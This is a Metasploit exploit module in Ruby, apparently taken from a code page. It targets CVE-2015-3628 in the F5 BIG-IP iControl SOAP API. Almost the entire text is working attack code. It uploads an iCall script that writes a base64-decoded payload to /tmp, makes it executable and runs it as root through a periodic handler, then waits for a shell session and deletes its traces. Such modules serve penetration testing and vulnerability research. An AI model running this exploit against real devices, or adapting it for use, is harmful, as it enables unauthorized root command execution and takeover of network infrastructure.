1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" } STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } def initialize(info = {}) super( update_info( info, 'Name' => "F5 iControl iCall::Script Root Command Execution", 'Description'=> %q{ This module exploits an authenticated privilege escalation vulnerability in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). This requires valid credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details) }, 'License'=> MSF_LICENSE, 'Author' => [ 'tom', # Discovery, Metasploit module 'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module ], 'References' => [ ['CVE', '2015-3628'], ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'], ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['F5 BIG-IP LTM 11.x', {}] ], 'Privileged' => true, 'DisclosureDate' => "Sep 3 2015", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) ]) register_advanced_options( [ OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]), OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']), OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) ]) end def setup file = datastore['FILENAME'] file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}" @payload_path = ::File.join(datastore['PATH'], file) super end def build_xml builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do xml = xml_add_namespaces(xml) xml['soapenv'].Header xml['soapenv'].Body do yield xml end end end builder.to_xml end def xml_add_namespaces(xml) ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/") xml.doc.root.namespace = ns xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance") xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema") xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script") xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding") xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler") xml end def send_soap_request(pay) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] ) if res return res else vprint_error('No response') end false end def create_script(name, cmd) create_xml = build_xml do |xml| xml['scr'].create(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item name end xml.definitions(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item cmd end end end send_soap_request(create_xml) end def delete_script(script_name) delete_xml = build_xml do |xml| xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item script_name end end end print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml)) res end def script_exists?(script_name) exists_xml = build_xml do |xml| xml['scr'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(exists_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}") end def create_handler(handler_name, script_name) print_status("Creating trigger #{handler_name}") handler_xml = build_xml do |xml| xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item script_name end xml.intervals(LONG_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first # we set this to run once every 24h, but because there is no # start/end time it will run once, more or less immediately, and # again 24h from now, but by that point hopefully we will have # cleaned up and the handler/script/etc are gone xml.item 60 * 60 * 24 end end end res = send_soap_request(handler_xml) if res if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") true else print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}") false end else print_error("No response to trigger creation") false end end def delete_handler(handler_name) delete_xml = build_xml do |xml| xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end end end print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml)) res end def handler_exists?(handler_name) handler_xml = build_xml do |xml| xml['per'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(handler_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}") end def check # strategy: we'll send a create_script request, with empty name: # if everything is ok, the server return a 500 error saying it doesn't like empty names # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable res = create_script('', '') if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?") return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end end def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path}) cmd = %(exec /bin/sh -c "#{shell_cmd}") arg_max = datastore['ARG_MAX'] if shell_cmd.size > arg_max print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\ "or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)" return false end script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" print_status("Uploading payload script #{script_name}") unless (create_script_res = create_script(script_name, cmd)) print_error("No response when uploading payload script") return false end unless create_script_res.code == 200 print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\ "#{create_script_res.code} #{create_script_res.message}") return false end unless script_exists?(script_name) print_error("Payload script uploaded successfully but script was not found") return false end register_file_for_cleanup @payload_path # phase 2: create iCall Handler, that will actually run the previously created script handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}" unless create_handler(handler_name, script_name) delete_script(script_name) return false end unless handler_exists?(handler_name) print_error("Trigger created successfully but was not found") delete_script(script_name) return false end print_status('Waiting for payload to execute...') # if our payload has not been successfully executed just yet, wait # until it does or give up slept = 0 until session_created? || slept > datastore['SESSION_WAIT'] Rex.sleep(1) slept += 1 end print_status('Trying cleanup...') delete_script(script_name) delete_handler(handler_name) end end |